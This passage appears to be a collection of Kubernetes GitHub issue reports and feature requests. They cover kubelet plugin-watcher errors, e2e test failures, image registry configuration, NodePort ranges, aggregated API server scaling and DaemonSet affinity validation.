/var/lib/kubelet/plugins/csi-hostpath/csi.sock, err: failed to dial socket /var/lib/kubelet/plugins/csi-hostpath/csi.sock, err: context deadline exceeded when handling create event: \ /var/lib/kubelet/plugins/csi-hostpath/csi.sock\ : create\r e0921 18:42:12.126656   81286 plugin_watcher.go:120  error could not find plugin for deleted file /var/lib/kubelet/plugins/csi-hostpath/csi.sock when handling delete event: \ /var/lib/kubelet/plugins/csi-hostpath/csi.sock\ : remove\r e0921 18:42:12.127706   81286 plugin_watcher.go:115  error failed to get plugin info using rpc getinfo at socket /var/lib/kubelet/plugins/csi-hostpath/csi.sock, err: rpc error: code = unimplemented desc = unknown service pluginregistration.registration when handling create event: \ /var/lib/kubelet/plugins/csi-hostpath/csi.sock\ : create\r e0921 18:42:20.988913   81286 plugin_watcher.go:115  error error accessing path: /var/lib/kubelet/plugins/kubernetes.io/csi/pv/pvc-8ff803a4bdef11e8 error: lstat /var/lib/kubelet/plugins/kubernetes.io/csi/pv/pvc-8ff803a4bdef11e8: no such file or directory when handling create event: \ /var/lib/kubelet/plugins/kubernetes.io/csi/pv/pvc-8ff803a4bdef11e8\ : create\r e0921 18:42:20.989211   81286 plugin_watcher.go:120  error could not find plugin for deleted file /var/lib/kubelet/plugins/kubernetes.io/csi/pv/pvc-8ff803a4bdef11e8 when handling delete event: \ /var/lib/kubelet/plugins/kubernetes.io/csi/pv/pvc-8ff803a4bdef11e8\ : remove\r e0921 18:42:21.495810   81286 plugin_watcher.go:115  error failed to watch /var/lib/kubelet/plugins/kubernetes.io/csi/pv/pvc-8ff803a4bdef11e8, err: no such file or directory when handling create event: \ /var/lib/kubelet/plugins/kubernetes.io/csi/pv/pvc-8ff803a4bdef11e8\ : create\r e0921 18:42:21.495960   81286 plugin_watcher.go:120  error could not find plugin for deleted file /var/lib/kubelet/plugins/kubernetes.io/csi/pv/pvc-8ff803a4bdef11e8 when handling delete event: \ /var/lib/kubelet/plugins/kubernetes.io/csi/pv/pvc-8ff803a4bdef11e8\ : remove\r e0921 18:42:22.512498   81286 plugin_watcher.go:115  error failed to watch /var/lib/kubelet/plugins/kubernetes.io/csi/pv/pvc-8ff803a4bdef11e8, err: no such file or directory when handling create event: \ /var/lib/kubelet/plugins/kubernetes.io/csi/pv/pvc-8ff803a4bdef11e8\ : create\r e0921 18:42:22.512767   81286 plugin_watcher.go:120  error could not find plugin for deleted file /var/lib/kubelet/plugins/kubernetes.io/csi/pv/pvc-8ff803a4bdef11e8 when handling delete event: \ /var/lib/kubelet/plugins/kubernetes.io/csi/pv/pvc-8ff803a4bdef11e8\ : remove\r e0921 18:42:24.539679   81286 plugin_watcher.go:120  error could not find plugin for deleted file /var/lib/kubelet/plugins/kubernetes.io/csi/pv/pvc-8ff803a4bdef11e8/globalmount when handling delete event: \ /var/lib/kubelet/plugins/kubernetes.io/csi/pv/pvc-8ff803a4bdef11e8/globalmount\ : remove\r e0921 18:42:24.539725   81286 plugin_watcher.go:120  error could not find plugin for deleted file /var/lib/kubelet/plugins/kubernetes.io/csi/pv/pvc-8ff803a4bdef11e8 when handling delete event: \ /var/lib/kubelet/plugins/kubernetes.io/csi/pv/pvc-8ff803a4bdef11e8\ : remove\r e0921 18:42:24.539743   81286 plugin_watcher.go:120  error could not find plugin for deleted file /var/lib/kubelet/plugins/kubernetes.io/csi/pv/pvc-8ff803a4bdef11e8/vol_data.json when handling delete event: \ /var/lib/kubelet/plugins/kubernetes.io/csi/pv/pvc-8ff803a4bdef11e8/vol_data.json\ : remove\r e0921 18:42:24.539780   81286 plugin_watcher.go:120  error could not find plugin for deleted file /var/lib/kubelet/plugins/kubernetes.io/csi/pv/pvc-8ff803a4bdef11e8 when handling delete event: \ /var/lib/kubelet/plugins/kubernetes.io/csi/pv/pvc-8ff803a4bdef11e8\ : remove\r e0921 18:42:24.539612   81286 plugin_watcher.go:120  error could not find plugin for deleted file /var/lib/kubelet/plugins/kubernetes.io/csi/pv/pvc-8ff803a4bdef11e8/globalmount when handling delete event: \ /var/lib/kubelet/plugins/kubernetes.io/csi/pv/pvc-8ff803a4bdef11e8/globalmount\ : remove\r e0921 18:42:28.592695   81286 plugin_watcher.go:120  error could not find plugin for deleted file /var/lib/kubelet/plugins/kubernetes.io/csi/pv/pvc-8ff803a4bdef11e8/globalmount when handling delete event: \ /var/lib/kubelet/plugins/kubernetes.io/csi/pv/pvc-8ff803a4bdef11e8/globalmount\ : remove\r e0921 18:42:28.592728   81286 plugin_watcher.go:120  error could not find plugin for deleted file /var/lib/kubelet/plugins/kubernetes.io/csi/pv/pvc-8ff803a4bdef11e8/globalmount when handling delete event: \ /var/lib/kubelet/plugins/kubernetes.io/csi/pv/pvc-8ff803a4bdef11e8/globalmount\ : remove\r e0921 18:42:28.592752   81286 plugin_watcher.go:120  error could not find plugin for deleted file /var/lib/kubelet/plugins/kubernetes.io/csi/pv/pvc-8ff803a4bdef11e8 when handling delete event: \ /var/lib/kubelet/plugins/kubernetes.io/csi/pv/pvc-8ff803a4bdef11e8\ : remove\r e0921 18:42:28.592767   81286 plugin_watcher.go:120  error could not find plugin for deleted file /var/lib/kubelet/plugins/kubernetes.io/csi/pv/pvc-8ff803a4bdef11e8/vol_data.json when handling delete event: \ /var/lib/kubelet/plugins/kubernetes.io/csi/pv/pvc-8ff803a4bdef11e8/vol_data.json\ : remove\r e0921 18:42:28.592967   81286 plugin_watcher.go:120  error could not find plugin for deleted file /var/lib/kubelet/plugins/kubernetes.io/csi/pv/pvc-8ff803a4bdef11e8 when handling delete event: \ /var/lib/kubelet/plugins/kubernetes.io/csi/pv/pvc-8ff803a4bdef11e8\ : remove\r e0921 18:42:36.611609   81286 plugin_watcher.go:120  error could not find plugin for deleted file /var/lib/kubelet/plugins/kubernetes.io/csi/pv/pvc-8ff803a4bdef11e8/vol_data.json when handling delete event: \ /var/lib/kubelet/plugins/kubernetes.io/csi/pv/pvc-8ff803a4bdef11e8/vol_data.json\ : remove\r e0921 18:42:36.611485   81286 plugin_watcher.go:115  error error accessing path: /var/lib/kubelet/plugins/kubernetes.io/csi/pv/pvc-8ff803a4bdef11e8/globalmount error: lstat /var/lib/kubelet/plugins/kubernetes.io/csi/pv/pvc-8ff803a4bdef11e8/globalmount: no such file or directory when handling create event: \ /var/lib/kubelet/plugins/kubernetes.io/csi/pv/pvc-8ff803a4bdef11e8\ : create\r e0921 18:42:36.611575   81286 plugin_watcher.go:120  error could not find plugin for deleted file /var/lib/kubelet/plugins/kubernetes.io/csi/pv/pvc-8ff803a4bdef11e8 when handling delete event: \ /var/lib/kubelet/plugins/kubernetes.io/csi/pv/pvc-8ff803a4bdef11e8\ : remove\r e0921 18:42:36.611699   81286 plugin_watcher.go:120  error could not find plugin for deleted file /var/lib/kubelet/plugins/kubernetes.io/csi/pv/pvc-8ff803a4bdef11e8 when handling delete event: \ /var/lib/kubelet/plugins/kubernetes.io/csi/pv/pvc-8ff803a4bdef11e8\ : remove\r e0921 18:42:52.623501   81286 plugin_watcher.go:120  error could not find plugin for deleted file /var/lib/kubelet/plugins/kubernetes.io/csi/pv/pvc-8ff803a4bdef11e8 when handling delete event: \ /var/lib/kubelet/plugins/kubernetes.io/csi/pv/pvc-8ff803a4bdef11e8\ : remove\r e0921 18:42:52.623535   81286 plugin_watcher.go:115  error stat file /var/lib/kubelet/plugins/kubernetes.io/csi/pv/pvc-8ff803a4bdef11e8 failed: stat /var/lib/kubelet/plugins/kubernetes.io/csi/pv/pvc-8ff803a4bdef11e8: no such file or directory when handling create event: \ /var/lib/kubelet/plugins/kubernetes.io/csi/pv/pvc-8ff803a4bdef11e8\ : create\r e0921 18:43:24.698730   81286 plugin_watcher.go:120  error could not find plugin for deleted file /var/lib/kubelet/plugins/kubernetes.io/csi/pv/pvc-8ff803a4bdef11e8 when handling delete event: \ /var/lib/kubelet/plugins/kubernetes.io/csi/pv/pvc-8ff803a4bdef11e8\ : remove\r    \r   what you expected to happen  :\r the plugin watcher should not be getting triggered by file/directory activities not related to plugin registration/unregistration.  one possibility is to have the watcher scan one directory below plugins like  /var/lib/kubelet/plugins/registration  or something similar\r \r   how to reproduce it  as minimally and precisely as possible   :\r run plugin watcher with a csi driver.\r \r cc @renaudwastaken @vikaschoudhary16

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r \r let kublet handle downloading images, not the runtime  currently docker .\r extend the deployment/image config so that image is an url where http:// means: yes, i want to download it from an insecure repo.\r \r   why is this needed  :\r \r im failing to understand, why in order to use my own  dev,insecure  image registry, i have to configure docker on every node to know about it / accept it.\r \r from my point of view, i'd like to configure everything via kubeadm/helm/yaml files. and this includes where image come from.\r i also would like to configure if i want a particular \ insecure\  image on a deployment basis, not globally in some obscure docker way.\r i don't want to care about how docker or later rkt is actually doing things.\r \r kubelet should configure docker for me after i told k8s what i want to do via yaml files.\r \r furthermore as far as i understand it right now, the current way, that docker manages downloading the images, it cannot download them from a non exposed cluster ip?\r \r  <!-- do not edit below this line -->\r 

as far as i can see kube-proxy uses round robin to schedule requests to pods within the controller.  how about an option to use only pods that are running on the same minion, if available? that would save a lot of unnecessary network traffic

currently the progress being made on the kubelet has been great, and we've had several conversations in the past about making the kubelet flexible enough to be a composable element which could be leveraged by potentially many other scheduling systems.    this ticket is kind of a brain-storm catch all, actions may fall out from here.   missing pieces:  - hooks  pre/post   - executor workflow   ...   @bgrant0607, @dchen1107, @guenter

a large monorepo works for google, but not on github.\r \r we hit the ceiling of achievable velocity of a single github repo in early 2015:\r https://github.com/kubernetes/kubernetes/graphs/contributors\r \r there are many reasons: acls, notification management, issue triage, pr reviews, sequentialized submit testing, merge conflicts, etc.\r \r we're chipping away at these issues, but we need more than incremental improvement.\r \r we've discussed moving a number of things to other repos:\r - kubelet:  444\r - generic api infrastructure:  2742\r - client libraries:  5660\r - misc. utilities:  24156\r - kubectl\r - scheduler\r - examples\r - cloud providers + cluster code + \ getting-started guides\ \r - auth plugins\r - network and storage plugins?\r - e2e tests\r - contributor documentation\r \r we need to seriously think about how to do this.\r \r known issues that need to be addressed:\r - we need to get sprawl and package dependencies under control:  4851\r - we need to make most components ordinary clients of the api:  20193\r - we need to figure out dependency management and integration testing\r \r an example of a go project on github with good repo hygiene:\r https://github.com/deis\r \r i have no illusions that breaking the project into separate repos will be a silver bullet: it's necessary, but not sufficient. i also know that it will cause some pain. but that pain already exists: cadvisor, heapster, dashboard, contrib, docs, ....\r \r speaking of contrib, it needs to be broken up, too: https://github.com/kubernetes/contrib/issues/762\r \r @thockin @smarterclayton @lavalamp @mikedanese @dchen1107 @davidopp @ixdy \r

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gke-staging-parallel/8185/  failed:  k8s.io  proxy version v1 should proxy to cadvisor using proxy subresource  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/proxy.go:69 expected error:     < errors.statuserror | 0xc820d4d500>: {         errstatus: {             typemeta: {kind: \ \ , apiversion: \ \ },             listmeta: {selflink: \ \ , resourceversion: \ \ },             status: \ failure\ ,             message: \ an error on the server has prevented the request from succeeding\ ,             reason: \ internalerror\ ,             details: {                 name: \ \ ,                 group: \ \ ,                 kind: \ \ ,                 causes:                       {                         type: \ unexpectedserverresponse\ ,                         message: \ error: 'eof'\ trying to reach: 'http://10.240.0.6:4194/containers/'\ ,                         field: \ \ ,                     },                  ,                 retryafterseconds: 0,             },             code: 503,         },     }     an error on the server has prevented the request from succeeding not to have occurred

\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/rc.go:62\r expected error:\r     < errors.statuserror | 0xc420e9b800>: {\r         errstatus: {\r             typemeta: {kind: \ \ , apiversion: \ \ },\r             listmeta: {selflink: \ \ , resourceversion: \ \ },\r             status: \ failure\ ,\r             message: \ operation cannot be fulfilled on pods \\\ pod-release-s6d5s\\\ : there is a meaningful conflict  firstresourceversion: \\\ 7759\\\ , currentresourceversion: \\\ 7762\\\  :\  diff1={\\\ metadata\\\ :{\\\ labels\\\ :{\\\ name\\\ :\\\ pod-release\\\ },\\\ resourceversion\\\ :\\\ 7762\\\ },\\\ spec\\\ :{\\\ nodename\\\ :\\\ bootstrap-e2e-minion-group-j8xs\\\ },\\\ status\\\ :{\\\ conditions\\\ : {\\\ lastprobetime\\\ :null,\\\ lasttransitiontime\\\ :\\\ 2017-03-30t13:03:26z\\\ ,\\\ status\\\ :\\\ true\\\ ,\\\ type\\\ :\\\ podscheduled\\\ } }}\ , diff2={\\\ metadata\\\ :{\\\ labels\\\ :{\\\ name\\\ :\\\ not-matching-name\\\ }}}\ \ ,\r             reason: \ conflict\ ,\r             details: {\r                 name: \ pod-release-s6d5s\ ,\r                 group: \ \ ,\r                 kind: \ pods\ ,\r                 causes: nil,\r                 retryafterseconds: 0,\r             },\r             code: 409,\r         },\r     }\r     operation cannot be fulfilled on pods \ pod-release-s6d5s\ : there is a meaningful conflict  firstresourceversion: \ 7759\ , currentresourceversion: \ 7762\  :\r      diff1={\ metadata\ :{\ labels\ :{\ name\ :\ pod-release\ },\ resourceversion\ :\ 7762\ },\ spec\ :{\ nodename\ :\ bootstrap-e2e-minion-group-j8xs\ },\ status\ :{\ conditions\ : {\ lastprobetime\ :null,\ lasttransitiontime\ :\ 2017-03-30t13:03:26z\ ,\ status\ :\ true\ ,\ type\ :\ podscheduled\ } }}\r     , diff2={\ metadata\ :{\ labels\ :{\ name\ :\ not-matching-name\ }}}\r     \r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/rc.go:313\r    \r @fgimenez @caesarxuchao \r \r @lukaszo since you were wondering if it's possible to have conflicts with patch

https://github.com/kubernetes/kubernetes/blob/master/changelog.md  linked from <https://kubernetes.io/docs/home/> in the left sidebar as \ release notes\   would be easier to read if different release lines didn't have their notes randomly interspersed.\r \r my use case for reading the changelog is to find out everything announce-worthy that changed between two points on a single release line.  so, for example, i want to see all the changes between 1.5.1 and 1.5.4.  that's harder to do when there are entries for 1.4.9 and 1.6.0.alpha3 mixed in with the entries for 1.5.2, 1.5.3, and 1.5.4.\r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no\r \r   is this a bug report or feature request?    choose one : feature request\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r by the  task example  https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-probes/ defining-a-liveness-command , i made a livenessprobe exercise.   \r and the result as expected in the following:   \r - the unhealthy container is killed and restarted.  \r - a liveness probe failed event produced.  \r \r in my system, i want to check the pod's healthy status liveness probe result  before i can send specfic request to the app in the pod. if the pod's status is healthy,  i can send specific request. and if unhealthy, i will not send request.  \r   so how can i get the liveness probe result?    \r anybody can  help me. thanks a lot.\r \r   kubernetes version    use  kubectl version  : 1.6.1\r \r   environment  :\r -   cloud provider or hardware configuration  : openstack env\r -   os    e.g. from /etc/os-release : ubuntu 14.04\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r \r \r

once  44897 is in, proper fsgroup support should be added.  the current implementation just sets the volume's fsgroup to the one supplied, but it doesn't check if it could be conflicting with other pods.  this could cause problems if multiple pods use the same pvc, but have different fsgroup settings.  tests should also be added.\r \r @kubernetes/sig-storage-bugs

feature request:  please remove port range restriction for nodeport field on nodeport type services\r \r rationale:\r \r from the documentation:   _if you want a specific port number, you can specify a value in the nodeport field, and the system will allocate you that port or else the api transaction will fail  i.e. you need to take care about possible port collisions yourself . the value you specify must be in the configured range for node ports._\r \r this restriction seems backwards to me.   it seems to me that a manually specified nodeport field should always be  outside  of the configured range for node ports.   the whole point of of nodeport is to make it externally accessible,  typically by opening a hole in the firewall  so i want to be extra sure that kubernetes will never put a different service on that port if i ever remove that service but forget to close the firewall hole.\r \r specifying a value outside the range will also make taking care of possible port collisions easier.

scale subresources in apps/v1beta1 and apps/v1beta2 report extensions/v1beta1 in discovery\r \r additionally, eviction subresources do not indicate they accept eviction objects from the policy api group

i'm seeing the jobs go through fine, but failing during aftersuite action. e.g:\r \r - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-large-correctness/15\r - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-scale-correctness/32\r \r from the  build-log  https://storage.googleapis.com/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-large-correctness/15/build-log.txt  of the first one, i'm seeing the following:\r \r    \r i1118 06:40:42.351  \u001b 91m\u001b 1m aftersuite  aftersuite \u001b 0m\r i1118 06:40:42.351  \u001b 37m/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/e2e.go:254\u001b 0m\r i1118 06:40:42.351  \r i1118 06:40:42.351    \u001b 91m\u001b 1mtest panicked\u001b 0m\r i1118 06:40:42.351    \u001b 91mclose of closed channel\u001b 0m\r i1118 06:40:42.351    /usr/local/go/src/runtime/panic.go:491\r i1118 06:40:42.352  \r i1118 06:40:42.352    \u001b 91mfull stack trace\u001b 0m\r i1118 06:40:42.352    \t/usr/local/go/src/runtime/panic.go:491 +0x283\r i1118 06:40:42.352    k8s.io/kubernetes/test/e2e/framework.  containerresourcegatherer .stopandsummarize 0xc420d06690, 0xc426e97290, 0x3, 0x3, 0xc4210c0930, 0x0, 0x0, 0x0 \r i1118 06:40:42.352    \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/resource_usage_gatherer.go:292 +0x47\r i1118 06:40:42.352    k8s.io/kubernetes/test/e2e/framework.  framework .aftereach 0xc42118a7e0 \r i1118 06:40:42.352    \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:324 +0xbc1\r ...\r    \r \r the panic suggests that it was attempted to close a closed channel, more specifically it seems to be the  stopch  of the resource-gatherer from the stack-trace:\r \r https://github.com/kubernetes/kubernetes/blob/2aaab817de5c90340cf94913df166f389d8d6aca/test/e2e/framework/resource_usage_gatherer.go l291-l293\r \r cc @kubernetes/sig-scalability-misc @porridge

/ / /area platform/gcp\r  /status approved-for-milestone\r @kubernetes/sig-gcp-test-failures \r \r this job has been failing since 2017-11-17.  it's on the  sig-release-master-blocking dashboard  https://k8s-testgrid.appspot.com/sig-release-master-blocking ,\r and prevents us from cutting  v1.9.0-beta.1   kubernetes/sig-release 34 . is there work ongoing to bring this job back to green?\r \r https://k8s-testgrid.appspot.com/sig-release-master-blocking gci-gce-slow\r \r - last good: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-slow/12108\r - first bad: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-slow/12109\r - latest bad: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-slow/12190\r - suspect commit range: https://github.com/kubernetes/kubernetes/compare/56e62b684...3ec7487c0

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r in a configuration with one main api-server and one aggregated api-server, the amount of load that can be served is limited by some internal software resource rather than the underlying cpu, memory, and network.\r \r i tried a bunch of the example controllers modified to work with flunder objects from the sample api-server.  i scaled in two dimensions: rate of operations on flunder objects, and number of controllers.  as i scale up, i can go farther when the controllers connect directly to the aggregated api-server than when they connect to the main api-server --- but as the proxied case hits its limits, there is no overload of cpu, memory, nor network.  see https://docs.google.com/document/d/1qjyvs6dmgmnylusqivcaxzjd3p66gdub6ripe4ro-4i for more details.  the last few trials have cpu, memory, and network resource usage readings per container and per node.\r \r  i also have my doubts about how well proxying will scale as the api-servers are replicated.  but that is a separate issue --- now confirmed, see  61296. \r \r   what you expected to happen  :\r i expected to hit a scaling limit only when i started running out of cpu, memory, or network bandwidth.\r \r   how to reproduce it  as minimally and precisely as possible   :\r the experiments i reported on are pretty bare-bones.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8.7\r - cloud provider or hardware configuration: local vms\r - os  e.g. from /etc/os-release : ubuntu 16.04\r - kernel  e.g.  uname -a  : 4.4.0\r - install tools: kubespray\r - others:\r

forked from  1513  @smarterclayton said:  now that exec has landed and is looking pretty stable, some followups to look at:     variants on nsenter that are more aligned with the container  we've talked before about extending nsinit from docker to be a true \ execute in running docker container\  process, like rockets' equivalent.     taking the proxies out of the loop  or at least, the kubelet proxy   instead of using nsenter to run the user process, use nsenter to start a process in the container with a predetermined port and secret that would listen for a subsequent connection.  the kubelet could then redirect the response back to the caller with the port and location, and the caller can connect directly to the process.  the stub process would then do the necessary exec to launch the child and clean up after itself.  important part is that this would make the network i/o part of the container's cgroup, not the kubelets.     pattern for launching sshd in a container via exec  launch sshd via exec, then terminate the exec connection and connect from the client directly to a port.  might be a simple package you could install into your container.     on demand port proxy  be able to request using your credentials that a new, random port be exposed through the cluster so you can access a container from anywhere that can reach a master.  the port might only accept one connection or require a specific source ip

this is a place holder to revert the reading of glusterfs logs for true errors.  there is currently a work in progress to enabled glusterfs mount.glusterfs to use --verbose option which would return the error directly to the caller rather than writing to a log file and then having an extra step of opening and parsing the log file to obtain the true error.  when this functionality is available we can revert  24808

i use kubelet to start everything, including etcd, apiserver, controller manager, user pods, etc..  while startting apiserver, nodeinfo of  kubelet will be changed  from standalone mode to nodeinfo from apiserver. then nodeinfo will become empty for a while   i regist node manually  . if i add manifiles at this time, pod whill not start because of podcount limit. and it will not be started forever!  temporarily, i change predicates.go to  skip podcount check for this matter.  is there any other good method to solve issue please?  thank you very much

when load balancer selector can't be resolved to a pod it may be hard to debug. it is a usability improvement, rather than problem per se.   i had bad selector in my load balancer config. rather than matching to my pod, it was not pointing to anything in particular. it is not an issue per se, but user doing something wrong does not have much info to debug. my selector was subtly wrong, so i initially dismissed my .yaml as the culprit, and i was inspecting various other things through my docker image or routes in gce created by kubernetes.  my problem would be much easier to debug if i would see warning on any level: - \ kubectl get svc\  list external ips as if everything would be fine. going to url returns just \ this site can’t be reached\ . the command could somehow warn that external ip does not have any endpoints assigned. - no warning in logs. if an end user opens url without an endpoint assigned it could emit warning in logs. i was trying to debug it by opening url and watching stackdriver logs from my kubernetes cluster. - the only warning sign i have seen was \ endpoints: none\  in \ kubectl describe services web\ , although when using feature for the first time it was not immediately obvious it's the problem. maybe endpoints:none can be colored red when in tty output?

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : entityalreadyexists, iam role\r \r ---\r \r   is this a bug report or feature request?    choose one : bug report\r \r doing this guide in aws: https://kubernetes.io/docs/admin/multiple-zones/\r \r on the second step   add more nodes in a second zone   when i try to add minions to another availability zone i get:\r \r    bash\r using subnet cidr override: 172.20.1.0/24\r ... starting cluster in eu-central-1b using provider aws\r ... calling verify-prereqs\r ... calling verify-kube-binaries\r ... calling kube-up\r starting cluster using os distro: jessie\r uploading to amazon s3\r +++ staging server tars to s3 storage: bimbo-stuff/devel\r upload: ../../../tmp/kubernetes.rohxuv/s3/bootstrap-script to s3://bimbo-stuff/devel/bootstrap-script\r uploaded server tars:\r   server_binary_tar_url: https://s3-eu-central-1.amazonaws.com/bimbo-stuff/devel/kubernetes-server-linux-amd64.tar.gz\r   salt_tar_url: https://s3-eu-central-1.amazonaws.com/bimbo-stuff/devel/kubernetes-salt.tar.gz\r   bootstrap_script_url: https://s3-eu-central-1.amazonaws.com/bimbo-stuff/devel/bootstrap-script\r creating master iam profile: kubernetes-master-bimbo-kubernetes-vpc\r creating iam role: kubernetes-master-bimbo-kubernetes-vpc\r \r an error occurred  entityalreadyexists  when calling the createrole operation: role with name kubernetes-master-bimbo-kubernetes-vpc already exists.\r    \r \r this guy has already reported this issue: https://github.com/kubernetes/kubernetes/issues/39917 but closed it as fixed, but i cannot find the fix in any of the active branches.\r \r   kubernetes version    use  kubectl version  : v1.5.2\r \r   environment  :\r -   cloud provider or hardware configuration  : aws\r -   os    e.g. from /etc/os-release : jessie\r -   kernel    e.g.  uname -a  : linux bst-ubuntu 4.4.0-59-generic  80-ubuntu smp fri jan 6 17:47:47 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r -   install tools  : kubectl\r -   others  :\r \r \r   what happened  :\r \r kube-up.sh reported an error when i tried to add minions to other zone doing 2nd step   add more nodes in a second zone   of this guide: https://kubernetes.io/docs/admin/multiple-zones/\r \r   what you expected to happen  :\r \r minions up and going in the other zone.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r do your own guide step by step with kubernetes v1.5.2: https://kubernetes.io/docs/admin/multiple-zones/\r \r   anything else we need to know  :\r \r

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-latest-upgrade-cluster/564\r \r    \r  k8s.io  upgrade  feature:upgrade   k8s.io  cluster upgrade should maintain a functioning cluster  feature:clusterupgrade  39m59s\r go run hack/e2e.go -v -test --test_args='--ginkgo.focus=upgrade\\s\\ feature\\:upgrade\\ \\s\\ k8s\\.io\\ \\scluster\\supgrade\\sshould\\smaintain\\sa\\sfunctioning\\scluster\\s\\ feature\\:clusterupgrade\\ $'\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_upgrade.go:112\r expected error:\r     < errors.errorstring | 0xc4204bdd10>: {\r         s: \ deployment \\\ deployment-hash-test\\\  failed to create new replica set\ ,\r     }\r     deployment \ deployment-hash-test\  failed to create new replica set\r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/upgrades/deployments.go:60from junit_01.xml\r    \r \r i expect https://github.com/kubernetes/kubernetes/pull/42175 might have caused this as it was merged in the time window that this started failing.

kubernetes version    use  kubectl version  : \r client: 1.5.4\r server: 1.5.2\r \r   environment  :\r -   cloud provider or hardware configuration  : aws\r -   os    e.g. from /etc/os-release : \r    pretty_name=\ debian gnu/linux 8  jessie \ \r name=\ debian gnu/linux\ \r version_id=\ 8\ \r version=\ 8  jessie \ \r id=debian\r home_url=\ http://www.debian.org/\ \r support_url=\ http://www.debian.org/support\ \r bug_report_url=\ https://bugs.debian.org/\  \r    \r -   kernel    e.g.  uname -a  :  linux ip-10-249-41-68 4.4.41-k8s  1 smp mon jan 9 15:34:39 utc 2017 x86_64 gnu/linux \r -   install tools  : kops\r -   others  :\r \r \r   what happened  :\r im trying to run a daemonset only on worker nodes and not on master nodes. in order to do so i set the following on a daemonset configuration  as per https://kubernetes.io/docs/admin/daemons/ running-pods-on-only-some-nodes :\r        spec:\r       affinity:\r         nodeaffinity:\r           requiredduringschedulingignoredduringexecution:\r           - labelselector:\r              matchexpressions:\r              - key: kubernetes.io/role\r                operator: notin\r                values:\r                - master\r    \r \r once trying to create the resource, i got the following error message:\r    error: error validating \ kube-system/bundle-nginx-ingress-controller.yaml\ : error validating data: found invalid field affinity for v1.podspec; if you choose to ignore these errors, turn validation off with --validate=false   \r \r   what you expected to happen  :\r i was expecting that the daemonset would be created with the proper affinity settings and that the pods would not be scheduled/ran on the master nodes.\r \r \r   how to reproduce it    as minimally and precisely as possible :\r try to create the following daemonset: \r    apiversion: extensions/v1beta1\r kind: daemonset\r metadata:\r   name: nginx-ingress-controller\r   namespace: kube-system\r spec:\r   template:\r     metadata:\r       namespace: kube-system\r       labels:\r         name: nginx-ingress-controller\r     spec:\r       affinity:\r         nodeaffinity:\r           requiredduringschedulingignoredduringexecution:\r           - labelselector:\r              matchexpressions:\r              - key: kubernetes.io/role\r                operator: notin\r                values:\r                - master\r       terminationgraceperiodseconds: 60\r       containers:\r       - image: gcr.io/google_containers/nginx-ingress-controller:0.8.1\r         name: nginx-ingress-controller\r         imagepullpolicy: always\r         livenessprobe:\r           httpget:\r             path: /healthz\r             port: 10249\r             scheme: http\r           initialdelayseconds: 30\r           timeoutseconds: 5\r         env:\r         - name: pod_name\r           valuefrom:\r             fieldref:\r               fieldpath: metadata.name\r         - name: pod_namespace\r           valuefrom:\r             fieldref:\r               fieldpath: metadata.namespace\r         ports:\r         - containerport: 80\r         - containerport: 443\r         args:\r         - /nginx-ingress-controller\r         - --default-backend-service=kube-system/default-http-backend\r    \r \r on my clusters i have the following label set on the master nodes:\r  kubernetes.io/role=master \r \r thanks a lot and please feel free to ask for more details! : \r \r

